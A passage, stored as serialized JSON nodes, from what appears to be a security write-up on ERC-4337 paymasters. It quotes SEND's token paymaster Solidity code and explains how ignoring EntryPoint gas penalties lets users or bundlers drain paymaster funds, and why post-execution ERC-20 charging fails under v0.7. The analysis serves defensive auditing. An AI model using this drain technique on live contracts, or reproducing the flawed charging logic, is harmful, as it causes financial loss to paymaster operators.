",{"type":21,"tag":198,"props":103883,"children":103884},{"style":683},[103885],{"type":27,"value":5193},{"type":21,"tag":198,"props":103887,"children":103888},{"style":2540},[103889],{"type":27,"value":103613},{"type":21,"tag":198,"props":103891,"children":103892},{"style":211},[103893],{"type":27,"value":103894},"]));\n",{"type":21,"tag":198,"props":103896,"children":103897},{"class":200,"line":4599},[103898,103903,103908,103912],{"type":21,"tag":198,"props":103899,"children":103900},{"style":640},[103901],{"type":27,"value":103902}," if",{"type":21,"tag":198,"props":103904,"children":103905},{"style":211},[103906],{"type":27,"value":103907}," (clientSuppliedPrice ",{"type":21,"tag":198,"props":103909,"children":103910},{"style":683},[103911],{"type":27,"value":3159},{"type":21,"tag":198,"props":103913,"children":103914},{"style":211},[103915],{"type":27,"value":103916}," cachedPriceWithMarkup) {\n",{"type":21,"tag":198,"props":103918,"children":103919},{"class":200,"line":4607},[103920,103925,103929],{"type":21,"tag":198,"props":103921,"children":103922},{"style":1233},[103923],{"type":27,"value":103924}," // ",{"type":21,"tag":198,"props":103926,"children":103927},{"style":249},[103928],{"type":27,"value":67138},{"type":21,"tag":198,"props":103930,"children":103931},{"style":1233},[103932],{"type":27,"value":103933},": smaller number means 'more native asset per token'\n",{"type":21,"tag":198,"props":103935,"children":103936},{"class":200,"line":4638},[103937,103942,103946],{"type":21,"tag":198,"props":103938,"children":103939},{"style":211},[103940],{"type":27,"value":103941}," cachedPriceWithMarkup ",{"type":21,"tag":198,"props":103943,"children":103944},{"style":683},[103945],{"type":27,"value":3174},{"type":21,"tag":198,"props":103947,"children":103948},{"style":211},[103949],{"type":27,"value":103950}," clientSuppliedPrice;\n",{"type":21,"tag":198,"props":103952,"children":103953},{"class":200,"line":4646},[103954],{"type":21,"tag":198,"props":103955,"children":103956},{"style":211},[103957],{"type":27,"value":71451},{"type":21,"tag":198,"props":103959,"children":103960},{"class":200,"line":4706},[103961],{"type":21,"tag":198,"props":103962,"children":103963},{"style":211},[103964],{"type":27,"value":59262},{"type":21,"tag":198,"props":103966,"children":103967},{"class":200,"line":9857},[103968,103972,103977,103981,103986],{"type":21,"tag":198,"props":103969,"children":103970},{"style":1966},[103971],{"type":27,"value":103510},{"type":21,"tag":198,"props":103973,"children":103974},{"style":211},[103975],{"type":27,"value":103976}," tokenAmount ",{"type":21,"tag":198,"props":103978,"children":103979},{"style":683},[103980],{"type":27,"value":3174},{"type":21,"tag":198,"props":103982,"children":103983},{"style":698},[103984],{"type":27,"value":103985}," weiToToken",{"type":21,"tag":198,"props":103987,"children":103988},{"style":211},[103989],{"type":27,"value":103990},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":198,"props":103992,"children":103993},{"class":200,"line":9875},[103994,103999,104003],{"type":21,"tag":198,"props":103995,"children":103996},{"style":211},[103997],{"type":27,"value":103998}," tokenAmount ",{"type":21,"tag":198,"props":104000,"children":104001},{"style":683},[104002],{"type":27,"value":68817},{"type":21,"tag":198,"props":104004,"children":104005},{"style":211},[104006],{"type":27,"value":104007}," baseFee;\n",{"type":21,"tag":198,"props":104009,"children":104010},{"class":200,"line":9920},[104011,104016,104021,104026,104030,104034,104038],{"type":21,"tag":198,"props":104012,"children":104013},{"style":211},[104014],{"type":27,"value":104015}," SafeERC20.",{"type":21,"tag":198,"props":104017,"children":104018},{"style":698},[104019],{"type":27,"value":104020},"safeTransferFrom",{"type":21,"tag":198,"props":104022,"children":104023},{"style":211},[104024],{"type":27,"value":104025},"(token, userOp.sender, ",{"type":21,"tag":198,"props":104027,"children":104028},{"style":1966},[104029],{"type":27,"value":33423},{"type":21,"tag":198,"props":104031,"children":104032},{"style":211},[104033],{"type":27,"value":706},{"type":21,"tag":198,"props":104035,"children":104036},{"style":249},[104037],{"type":27,"value":18495},{"type":21,"tag":198,"props":104039,"children":104040},{"style":211},[104041],{"type":27,"value":104042},"), tokenAmount);\n",{"type":21,"tag":198,"props":104044,"children":104045},{"class":200,"line":10026},[104046,104051,104055,104060,104064,104069],{"type":21,"tag":198,"props":104047,"children":104048},{"style":211},[104049],{"type":27,"value":104050}," context ",{"type":21,"tag":198,"props":104052,"children":104053},{"style":683},[104054],{"type":27,"value":3174},{"type":21,"tag":198,"props":104056,"children":104057},{"style":249},[104058],{"type":27,"value":104059}," abi",{"type":21,"tag":198,"props":104061,"children":104062},{"style":211},[104063],{"type":27,"value":658},{"type":21,"tag":198,"props":104065,"children":104066},{"style":698},[104067],{"type":27,"value":104068},"encode",{"type":21,"tag":198,"props":104070,"children":104071},{"style":211},[104072],{"type":27,"value":104073},"(tokenAmount, userOp.sender);\n",{"type":21,"tag":198,"props":104075,"children":104076},{"class":200,"line":24302},[104077,104082],{"type":21,"tag":198,"props":104078,"children":104079},{"style":211},[104080],{"type":27,"value":104081}," validationResult ",{"type":21,"tag":198,"props":104083,"children":104084},{"style":683},[104085],{"type":27,"value":15498},{"type":21,"tag":198,"props":104087,"children":104088},{"class":200,"line":24337},[104089,104094,104098,104102,104106,104111,104116,104120,104125,104129],{"type":21,"tag":198,"props":104090,"children":104091},{"style":698},[104092],{"type":27,"value":104093}," _packValidationData",{"type":21,"tag":198,"props":104095,"children":104096},{"style":211},[104097],{"type":27,"value":706},{"type":21,"tag":198,"props":104099,"children":104100},{"style":249},[104101],{"type":27,"value":3264},{"type":21,"tag":198,"props":104103,"children":104104},{"style":211},[104105],{"type":27,"value":828},{"type":21,"tag":198,"props":104107,"children":104108},{"style":1966},[104109],{"type":27,"value":104110},"uint48",{"type":21,"tag":198,"props":104112,"children":104113},{"style":211},[104114],{"type":27,"value":104115},"(cachedPriceTimestamp ",{"type":21,"tag":198,"props":104117,"children":104118},{"style":683},[104119],{"type":27,"value":5193},{"type":21,"tag":198,"props":104121,"children":104122},{"style":211},[104123],{"type":27,"value":104124}," tokenPaymasterConfig.priceMaxAge), ",{"type":21,"tag":198,"props":104126,"children":104127},{"style":2540},[104128],{"type":27,"value":3482},{"type":21,"tag":198,"props":104130,"children":104131},{"style":211},[104132],{"type":27,"value":1470},{"type":21,"tag":198,"props":104134,"children":104135},{"class":200,"line":24345},[104136],{"type":21,"tag":198,"props":104137,"children":104138},{"style":211},[104139],{"type":27,"value":1160},{"type":21,"tag":198,"props":104141,"children":104142},{"class":200,"line":24353},[104143],{"type":21,"tag":198,"props":104144,"children":104145},{"style":211},[104146],{"type":27,"value":880},{"type":21,"tag":198,"props":104148,"children":104149},{"class":200,"line":24362},[104150],{"type":21,"tag":198,"props":104151,"children":104152},{"style":211},[104153],{"type":27,"value":11127},{"type":21,"tag":198,"props":104155,"children":104156},{"class":200,"line":24404},[104157,104161,104166,104170,104175,104179,104183,104187,104191,104195,104199,104204,104208,104212,104217],{"type":21,"tag":198,"props":104158,"children":104159},{"style":249},[104160],{"type":27,"value":90213},{"type":21,"tag":198,"props":104162,"children":104163},{"style":698},[104164],{"type":27,"value":104165}," _postOp",{"type":21,"tag":198,"props":104167,"children":104168},{"style":211},[104169],{"type":27,"value":706},{"type":21,"tag":198,"props":104171,"children":104172},{"style":249},[104173],{"type":27,"value":104174},"PostOpMode",{"type":21,"tag":198,"props":104176,"children":104177},{"style":211},[104178],{"type":27,"value":828},{"type":21,"tag":198,"props":104180,"children":104181},{"style":1966},[104182],{"type":27,"value":84210},{"type":21,"tag":198,"props":104184,"children":104185},{"style":249},[104186],{"type":27,"value":103394},{"type":21,"tag":198,"props":104188,"children":104189},{"style":226},[104190],{"type":27,"value":76722},{"type":21,"tag":198,"props":104192,"children":104193},{"style":211},[104194],{"type":27,"value":828},{"type":21,"tag":198,"props":104196,"children":104197},{"style":1966},[104198],{"type":27,"value":46926},{"type":21,"tag":198,"props":104200,"children":104201},{"style":226},[104202],{"type":27,"value":104203}," actualGasCost",{"type":21,"tag":198,"props":104205,"children":104206},{"style":211},[104207],{"type":27,"value":828},{"type":21,"tag":198,"props":104209,"children":104210},{"style":1966},[104211],{"type":27,"value":46926},{"type":21,"tag":198,"props":104213,"children":104214},{"style":226},[104215],{"type":27,"value":104216}," actualUserOpFeePerGas",{"type":21,"tag":198,"props":104218,"children":104219},{"style":211},[104220],{"type":27,"value":789},{"type":21,"tag":198,"props":104222,"children":104223},{"class":200,"line":24437},[104224],{"type":21,"tag":198,"props":104225,"children":104226},{"style":249},[104227],{"type":27,"value":103433},{"type":21,"tag":198,"props":104229,"children":104230},{"class":200,"line":24445},[104231],{"type":21,"tag":198,"props":104232,"children":104233},{"style":249},[104234],{"type":27,"value":103441},{"type":21,"tag":198,"props":104236,"children":104237},{"class":200,"line":24453},[104238],{"type":21,"tag":198,"props":104239,"children":104240},{"style":211},[104241],{"type":27,"value":29989},{"type":21,"tag":198,"props":104243,"children":104244},{"class":200,"line":24462},[104245,104249],{"type":21,"tag":198,"props":104246,"children":104247},{"style":640},[104248],{"type":27,"value":103498},{"type":21,"tag":198,"props":104250,"children":104251},{"style":211},[104252],{"type":27,"value":233},{"type":21,"tag":198,"props":104254,"children":104255},{"class":200,"line":24538},[104256,104260,104264,104268],{"type":21,"tag":198,"props":104257,"children":104258},{"style":1966},[104259],{"type":27,"value":103510},{"type":21,"tag":198,"props":104261,"children":104262},{"style":211},[104263],{"type":27,"value":103515},{"type":21,"tag":198,"props":104265,"children":104266},{"style":683},[104267],{"type":27,"value":3174},{"type":21,"tag":198,"props":104269,"children":104270},{"style":211},[104271],{"type":27,"value":103524},{"type":21,"tag":198,"props":104273,"children":104274},{"class":200,"line":24571},[104275,104279,104283,104287],{"type":21,"tag":198,"props":104276,"children":104277},{"style":1966},[104278],{"type":27,"value":103510},{"type":21,"tag":198,"props":104280,"children":104281},{"style":211},[104282],{"type":27,"value":103536},{"type":21,"tag":198,"props":104284,"children":104285},{"style":683},[104286],{"type":27,"value":3174},{"type":21,"tag":198,"props":104288,"children":104289},{"style":211},[104290],{"type":27,"value":103545},{"type":21,"tag":198,"props":104292,"children":104293},{"class":200,"line":24579},[104294,104299,104303,104308,104312,104317,104321,104325,104329,104334,104339,104343,104347,104351],{"type":21,"tag":198,"props":104295,"children":104296},{"style":211},[104297],{"type":27,"value":104298}," (",{"type":21,"tag":198,"props":104300,"children":104301},{"style":1966},[104302],{"type":27,"value":46926},{"type":21,"tag":198,"props":104304,"children":104305},{"style":211},[104306],{"type":27,"value":104307}," preCharge, ",{"type":21,"tag":198,"props":104309,"children":104310},{"style":1966},[104311],{"type":27,"value":33423},{"type":21,"tag":198,"props":104313,"children":104314},{"style":211},[104315],{"type":27,"value":104316}," userOpSender) ",{"type":21,"tag":198,"props":104318,"children":104319},{"style":683},[104320],{"type":27,"value":3174},{"type":21,"tag":198,"props":104322,"children":104323},{"style":249},[104324],{"type":27,"value":104059},{"type":21,"tag":198,"props":104326,"children":104327},{"style":211},[104328],{"type":27,"value":658},{"type":21,"tag":198,"props":104330,"children":104331},{"style":698},[104332],{"type":27,"value":104333},"decode",{"type":21,"tag":198,"props":104335,"children":104336},{"style":211},[104337],{"type":27,"value":104338},"(context, (",{"type":21,"tag":198,"props":104340,"children":104341},{"style":1966},[104342],{"type":27,"value":46926},{"type":21,"tag":198,"props":104344,"children":104345},{"style":211},[104346],{"type":27,"value":828},{"type":21,"tag":198,"props":104348,"children":104349},{"style":1966},[104350],{"type":27,"value":33423},{"type":21,"tag":198,"props":104352,"children":104353},{"style":211},[104354],{"type":27,"value":8035},{"type":21,"tag":198,"props":104356,"children":104357},{"class":200,"line":24587},[104358,104363,104368,104373],{"type":21,"tag":198,"props":104359,"children":104360},{"style":211},[104361],{"type":27,"value":104362}," preCharge ",{"type":21,"tag":198,"props":104364,"children":104365},{"style":683},[104366],{"type":27,"value":104367},"-=",{"type":21,"tag":198,"props":104369,"children":104370},{"style":211},[104371],{"type":27,"value":104372}," baseFee; ",{"type":21,"tag":198,"props":104374,"children":104375},{"style":1233},[104376],{"type":27,"value":104377},"// don't refund the base fee\n",{"type":21,"tag":198,"props":104379,"children":104380},{"class":200,"line":24624},[104381,104385,104390,104394,104399,104403,104407],{"type":21,"tag":198,"props":104382,"children":104383},{"style":1966},[104384],{"type":27,"value":103510},{"type":21,"tag":198,"props":104386,"children":104387},{"style":211},[104388],{"type":27,"value":104389}," _cachedPrice ",{"type":21,"tag":198,"props":104391,"children":104392},{"style":683},[104393],{"type":27,"value":3174},{"type":21,"tag":198,"props":104395,"children":104396},{"style":698},[104397],{"type":27,"value":104398}," updateCachedPrice",{"type":21,"tag":198,"props":104400,"children":104401},{"style":211},[104402],{"type":27,"value":706},{"type":21,"tag":198,"props":104404,"children":104405},{"style":249},[104406],{"type":27,"value":3264},{"type":21,"tag":198,"props":104408,"children":104409},{"style":211},[104410],{"type":27,"value":1470},{"type":21,"tag":198,"props":104412,"children":104413},{"class":200,"line":24637},[104414,104418,104422],{"type":21,"tag":198,"props":104415,"children":104416},{"style":1233},[104417],{"type":27,"value":103762},{"type":21,"tag":198,"props":104419,"children":104420},{"style":249},[104421],{"type":27,"value":67138},{"type":21,"tag":198,"props":104423,"children":104424},{"style":1233},[104425],{"type":27,"value":103771},{"type":21,"tag":198,"props":104427,"children":104428},{"class":200,"line":24650},[104429,104433,104437,104441,104445,104449,104453,104457],{"type":21,"tag":198,"props":104430,"children":104431},{"style":1966},[104432],{"type":27,"value":103510},{"type":21,"tag":198,"props":104434,"children":104435},{"style":211},[104436],{"type":27,"value":103783},{"type":21,"tag":198,"props":104438,"children":104439},{"style":683},[104440],{"type":27,"value":3174},{"type":21,"tag":198,"props":104442,"children":104443},{"style":211},[104444],{"type":27,"value":104389},{"type":21,"tag":198,"props":104446,"children":104447},{"style":683},[104448],{"type":27,"value":5383},{"type":21,"tag":198,"props":104450,"children":104451},{"style":211},[104452],{"type":27,"value":103801},{"type":21,"tag":198,"props":104454,"children":104455},{"style":683},[104456],{"type":27,"value":2232},{"type":21,"tag":198,"props":104458,"children":104459},{"style":211},[104460],{"type":27,"value":103810},{"type":21,"tag":198,"props":104462,"children":104463},{"class":200,"line":24663},[104464],{"type":21,"tag":198,"props":104465,"children":104466},{"style":1233},[104467],{"type":27,"value":104468}," // Refund tokens based on actual gas cost\n",{"type":21,"tag":198,"props":104470,"children":104471},{"class":200,"line":24717},[104472,104476,104481,104485,104490,104494,104499,104503],{"type":21,"tag":198,"props":104473,"children":104474},{"style":1966},[104475],{"type":27,"value":103510},{"type":21,"tag":198,"props":104477,"children":104478},{"style":211},[104479],{"type":27,"value":104480}," actualChargeNative ",{"type":21,"tag":198,"props":104482,"children":104483},{"style":683},[104484],{"type":27,"value":3174},{"type":21,"tag":198,"props":104486,"children":104487},{"style":211},[104488],{"type":27,"value":104489}," actualGasCost ",{"type":21,"tag":198,"props":104491,"children":104492},{"style":683},[104493],{"type":27,"value":5193},{"type":21,"tag":198,"props":104495,"children":104496},{"style":211},[104497],{"type":27,"value":104498}," tokenPaymasterConfig.refundPostopCost ",{"type":21,"tag":198,"props":104500,"children":104501},{"style":683},[104502],{"type":27,"value":5383},{"type":21,"tag":198,"props":104504,"children":104505},{"style":211},[104506],{"type":27,"value":104507}," actualUserOpFeePerGas;\n",{"type":21,"tag":198,"props":104509,"children":104510},{"class":200,"line":24726},[104511,104515,104520,104524,104528],{"type":21,"tag":198,"props":104512,"children":104513},{"style":1966},[104514],{"type":27,"value":103510},{"type":21,"tag":198,"props":104516,"children":104517},{"style":211},[104518],{"type":27,"value":104519}," actualTokenNeeded ",{"type":21,"tag":198,"props":104521,"children":104522},{"style":683},[104523],{"type":27,"value":3174},{"type":21,"tag":198,"props":104525,"children":104526},{"style":698},[104527],{"type":27,"value":103985},{"type":21,"tag":198,"props":104529,"children":104530},{"style":211},[104531],{"type":27,"value":104532},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":198,"props":104534,"children":104535},{"class":200,"line":33067},[104536,104540,104545,104549],{"type":21,"tag":198,"props":104537,"children":104538},{"style":640},[104539],{"type":27,"value":59178},{"type":21,"tag":198,"props":104541,"children":104542},{"style":211},[104543],{"type":27,"value":104544}," (preCharge ",{"type":21,"tag":198,"props":104546,"children":104547},{"style":683},[104548],{"type":27,"value":11270},{"type":21,"tag":198,"props":104550,"children":104551},{"style":211},[104552],{"type":27,"value":104553}," actualTokenNeeded) {\n",{"type":21,"tag":198,"props":104555,"children":104556},{"class":200,"line":33088},[104557],{"type":21,"tag":198,"props":104558,"children":104559},{"style":1233},[104560],{"type":27,"value":104561}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":21,"tag":198,"props":104563,"children":104564},{"class":200,"line":81333},[104565,104570,104575,104580,104584],{"type":21,"tag":198,"props":104566,"children":104567},{"style":211},[104568],{"type":27,"value":104569}," SafeERC20.",{"type":21,"tag":198,"props":104571,"children":104572},{"style":698},[104573],{"type":27,"value":104574},"safeTransfer",{"type":21,"tag":198,"props":104576,"children":104577},{"style":211},[104578],{"type":27,"value":104579},"(token, userOpSender, preCharge ",{"type":21,"tag":198,"props":104581,"children":104582},{"style":683},[104583],{"type":27,"value":5139},{"type":21,"tag":198,"props":104585,"children":104586},{"style":211},[104587],{"type":27,"value":104588}," actualTokenNeeded);\n",{"type":21,"tag":198,"props":104590,"children":104591},{"class":200,"line":81346},[104592,104596,104600,104604,104608,104612],{"type":21,"tag":198,"props":104593,"children":104594},{"style":211},[104595],{"type":27,"value":70974},{"type":21,"tag":198,"props":104597,"children":104598},{"style":640},[104599],{"type":27,"value":4122},{"type":21,"tag":198,"props":104601,"children":104602},{"style":640},[104603],{"type":27,"value":16591},{"type":21,"tag":198,"props":104605,"children":104606},{"style":211},[104607],{"type":27,"value":104544},{"type":21,"tag":198,"props":104609,"children":104610},{"style":683},[104611],{"type":27,"value":3159},{"type":21,"tag":198,"props":104613,"children":104614},{"style":211},[104615],{"type":27,"value":104553},{"type":21,"tag":198,"props":104617,"children":104618},{"class":200,"line":81354},[104619],{"type":21,"tag":198,"props":104620,"children":104621},{"style":1233},[104622],{"type":27,"value":104623}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":21,"tag":198,"props":104625,"children":104626},{"class":200,"line":81362},[104627],{"type":21,"tag":198,"props":104628,"children":104629},{"style":1233},[104630],{"type":27,"value":104631}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":21,"tag":198,"props":104633,"children":104634},{"class":200,"line":81370},[104635,104639,104643,104648,104652,104656,104660,104665,104669],{"type":21,"tag":198,"props":104636,"children":104637},{"style":211},[104638],{"type":27,"value":104569},{"type":21,"tag":198,"props":104640,"children":104641},{"style":698},[104642],{"type":27,"value":104020},{"type":21,"tag":198,"props":104644,"children":104645},{"style":211},[104646],{"type":27,"value":104647},"(token, userOpSender, ",{"type":21,"tag":198,"props":104649,"children":104650},{"style":1966},[104651],{"type":27,"value":33423},{"type":21,"tag":198,"props":104653,"children":104654},{"style":211},[104655],{"type":27,"value":706},{"type":21,"tag":198,"props":104657,"children":104658},{"style":249},[104659],{"type":27,"value":18495},{"type":21,"tag":198,"props":104661,"children":104662},{"style":211},[104663],{"type":27,"value":104664},"), actualTokenNeeded ",{"type":21,"tag":198,"props":104666,"children":104667},{"style":683},[104668],{"type":27,"value":5139},{"type":21,"tag":198,"props":104670,"children":104671},{"style":211},[104672],{"type":27,"value":104673}," preCharge);\n",{"type":21,"tag":198,"props":104675,"children":104676},{"class":200,"line":81410},[104677],{"type":21,"tag":198,"props":104678,"children":104679},{"style":211},[104680],{"type":27,"value":59262},{"type":21,"tag":198,"props":104682,"children":104683},{"class":200,"line":81418},[104684],{"type":21,"tag":198,"props":104685,"children":104686},{"emptyLinePlaceholder":16},[104687],{"type":27,"value":1283},{"type":21,"tag":198,"props":104689,"children":104690},{"class":200,"line":88605},[104691,104695,104700,104704,104708],{"type":21,"tag":198,"props":104692,"children":104693},{"style":640},[104694],{"type":27,"value":59178},{"type":21,"tag":198,"props":104696,"children":104697},{"style":211},[104698],{"type":27,"value":104699}," (baseFee ",{"type":21,"tag":198,"props":104701,"children":104702},{"style":683},[104703],{"type":27,"value":11270},{"type":21,"tag":198,"props":104705,"children":104706},{"style":2540},[104707],{"type":27,"value":3855},{"type":21,"tag":198,"props":104709,"children":104710},{"style":211},[104711],{"type":27,"value":668},{"type":21,"tag":198,"props":104713,"children":104714},{"class":200,"line":88613},[104715,104719,104723],{"type":21,"tag":198,"props":104716,"children":104717},{"style":211},[104718],{"type":27,"value":104569},{"type":21,"tag":198,"props":104720,"children":104721},{"style":698},[104722],{"type":27,"value":104574},{"type":21,"tag":198,"props":104724,"children":104725},{"style":211},[104726],{"type":27,"value":104727},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":21,"tag":198,"props":104729,"children":104730},{"class":200,"line":101959},[104731],{"type":21,"tag":198,"props":104732,"children":104733},{"style":211},[104734],{"type":27,"value":59262},{"type":21,"tag":198,"props":104736,"children":104737},{"class":200,"line":101967},[104738],{"type":21,"tag":198,"props":104739,"children":104740},{"emptyLinePlaceholder":16},[104741],{"type":27,"value":1283},{"type":21,"tag":198,"props":104743,"children":104744},{"class":200,"line":101975},[104745,104750,104755],{"type":21,"tag":198,"props":104746,"children":104747},{"style":640},[104748],{"type":27,"value":104749}," emit",{"type":21,"tag":198,"props":104751,"children":104752},{"style":698},[104753],{"type":27,"value":104754}," UserOperationSponsored",{"type":21,"tag":198,"props":104756,"children":104757},{"style":211},[104758],{"type":27,"value":104759},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":21,"tag":198,"props":104761,"children":104762},{"class":200,"line":101983},[104763,104768],{"type":21,"tag":198,"props":104764,"children":104765},{"style":698},[104766],{"type":27,"value":104767}," refillEntryPointDeposit",{"type":21,"tag":198,"props":104769,"children":104770},{"style":211},[104771],{"type":27,"value":104772},"(_cachedPrice);\n",{"type":21,"tag":198,"props":104774,"children":104775},{"class":200,"line":102011},[104776],{"type":21,"tag":198,"props":104777,"children":104778},{"style":211},[104779],{"type":27,"value":1160},{"type":21,"tag":198,"props":104781,"children":104783},{"class":200,"line":104782},67,[104784],{"type":21,"tag":198,"props":104785,"children":104786},{"style":211},[104787],{"type":27,"value":880},{"type":21,"tag":198,"props":104789,"children":104791},{"class":200,"line":104790},68,[104792],{"type":21,"tag":198,"props":104793,"children":104794},{"style":211},[104795],{"type":27,"value":1120},{"type":21,"tag":30,"props":104797,"children":104798},{},[104799,104801,104807,104809,104814,104816,104822],{"type":27,"value":104800},"Looking at the code above, during ",{"type":21,"tag":194,"props":104802,"children":104804},{"className":104803},[],[104805],{"type":27,"value":104806},"validatePaymasterUserOp",{"type":27,"value":104808},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":21,"tag":194,"props":104810,"children":104812},{"className":104811},[],[104813],{"type":27,"value":102865},{"type":27,"value":104815}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":21,"tag":194,"props":104817,"children":104819},{"className":104818},[],[104820],{"type":27,"value":104821},"postOp",{"type":27,"value":104823},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":21,"tag":30,"props":104825,"children":104826},{},[104827,104829,104834,104836,104843],{"type":27,"value":104828},"However, there is a critical oversight: ",{"type":21,"tag":6137,"props":104830,"children":104831},{},[104832],{"type":27,"value":104833},"the code does not account for gas penalties",{"type":27,"value":104835},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":21,"tag":34,"props":104837,"children":104840},{"href":104838,"rel":104839},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[38],[104841],{"type":27,"value":104842},"penalties incurred",{"type":27,"value":104844}," from differences between the execution gas limit and actual execution gas.",{"type":21,"tag":30,"props":104846,"children":104847},{},[104848],{"type":27,"value":104849},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":21,"tag":30,"props":104851,"children":104852},{},[104853,104855,104860],{"type":27,"value":104854},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":21,"tag":194,"props":104856,"children":104858},{"className":104857},[],[104859],{"type":27,"value":102564},{"type":27,"value":104861}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":21,"tag":22,"props":104863,"children":104865},{"id":104864},"incorrect-erc-20-handling",[104866],{"type":21,"tag":6137,"props":104867,"children":104868},{},[104869],{"type":27,"value":104870},"Incorrect ERC-20 Handling",{"type":21,"tag":30,"props":104872,"children":104873},{},[104874],{"type":27,"value":104875},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":21,"tag":30,"props":104877,"children":104878},{},[104879,104880,104885,104887,104892],{"type":27,"value":46054},{"type":21,"tag":194,"props":104881,"children":104883},{"className":104882},[],[104884],{"type":27,"value":102645},{"type":27,"value":104886}," flow above, we can see that paymasters have two key interaction points during a ",{"type":21,"tag":194,"props":104888,"children":104890},{"className":104889},[],[104891],{"type":27,"value":102564},{"type":27,"value":104893},"'s lifecycle:",{"type":21,"tag":71,"props":104895,"children":104896},{},[104897,104907],{"type":21,"tag":75,"props":104898,"children":104899},{},[104900,104902],{"type":27,"value":104901},"During validation via ",{"type":21,"tag":194,"props":104903,"children":104905},{"className":104904},[],[104906],{"type":27,"value":102752},{"type":21,"tag":75,"props":104908,"children":104909},{},[104910,104912],{"type":27,"value":104911},"After execution via ",{"type":21,"tag":194,"props":104913,"children":104915},{"className":104914},[],[104916],{"type":27,"value":102763},{"type":21,"tag":30,"props":104918,"children":104919},{},[104920],{"type":27,"value":104921},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":21,"tag":59,"props":104923,"children":104925},{"id":104924},"_1-pre-payment-with-refund-pattern",[104926],{"type":27,"value":104927},"1. Pre-Payment with Refund Pattern",{"type":21,"tag":30,"props":104929,"children":104930},{},[104931,104933,104938,104940,104945,104947,104953,104954,104960,104962,104967,104969,104974,104976,104981],{"type":27,"value":104932},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":21,"tag":194,"props":104934,"children":104936},{"className":104935},[],[104937],{"type":27,"value":102752},{"type":27,"value":104939},". After execution completes, ",{"type":21,"tag":194,"props":104941,"children":104943},{"className":104942},[],[104944],{"type":27,"value":102763},{"type":27,"value":104946}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":21,"tag":194,"props":104948,"children":104950},{"className":104949},[],[104951],{"type":27,"value":104952},"SEND",{"type":27,"value":11801},{"type":21,"tag":194,"props":104955,"children":104957},{"className":104956},[],[104958],{"type":27,"value":104959},"Circle",{"type":27,"value":104961}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":21,"tag":194,"props":104963,"children":104965},{"className":104964},[],[104966],{"type":27,"value":102593},{"type":27,"value":104968},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":21,"tag":6137,"props":104970,"children":104971},{},[104972],{"type":27,"value":104973},"before",{"type":27,"value":104975}," execution (specifically during ",{"type":21,"tag":194,"props":104977,"children":104979},{"className":104978},[],[104980],{"type":27,"value":104806},{"type":27,"value":3394},{"type":21,"tag":59,"props":104983,"children":104985},{"id":104984},"_2-post-execution-charging-pattern",[104986],{"type":27,"value":104987},"2. Post-Execution Charging Pattern",{"type":21,"tag":30,"props":104989,"children":104990},{},[104991,104993,104998,105000,105005,105007,105012,105014,105019],{"type":27,"value":104992},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":21,"tag":194,"props":104994,"children":104996},{"className":104995},[],[104997],{"type":27,"value":102752},{"type":27,"value":104999},", the actual token payment is calculated and collected in ",{"type":21,"tag":194,"props":105001,"children":105003},{"className":105002},[],[105004],{"type":27,"value":102763},{"type":27,"value":105006}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":21,"tag":194,"props":105008,"children":105010},{"className":105009},[],[105011],{"type":27,"value":102564},{"type":27,"value":105013},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":21,"tag":194,"props":105015,"children":105017},{"className":105016},[],[105018],{"type":27,"value":102865},{"type":27,"value":105020},". This means users could interact with the paymaster without any prior setup.",{"type":21,"tag":30,"props":105022,"children":105023},{},[105024,105026,105031,105033,105039,105041,105047,105049,105054],{"type":27,"value":105025},"This approach used to work in ",{"type":21,"tag":194,"props":105027,"children":105029},{"className":105028},[],[105030],{"type":27,"value":102645},{"type":27,"value":105032}," version ",{"type":21,"tag":194,"props":105034,"children":105036},{"className":105035},[],[105037],{"type":27,"value":105038},"v0.6",{"type":27,"value":105040},", but the pattern no longer works in ",{"type":21,"tag":194,"props":105042,"children":105044},{"className":105043},[],[105045],{"type":27,"value":105046},"v0.7",{"type":27,"value":105048},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":21,"tag":194,"props":105050,"children":105052},{"className":105051},[],[105053],{"type":27,"value":105046},{"type":27,"value":105055}," handles the execution phase:",{"type":21,"tag":187,"props":105057,"children":105059},{"className":5287,"code":105058,"language":5286,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo 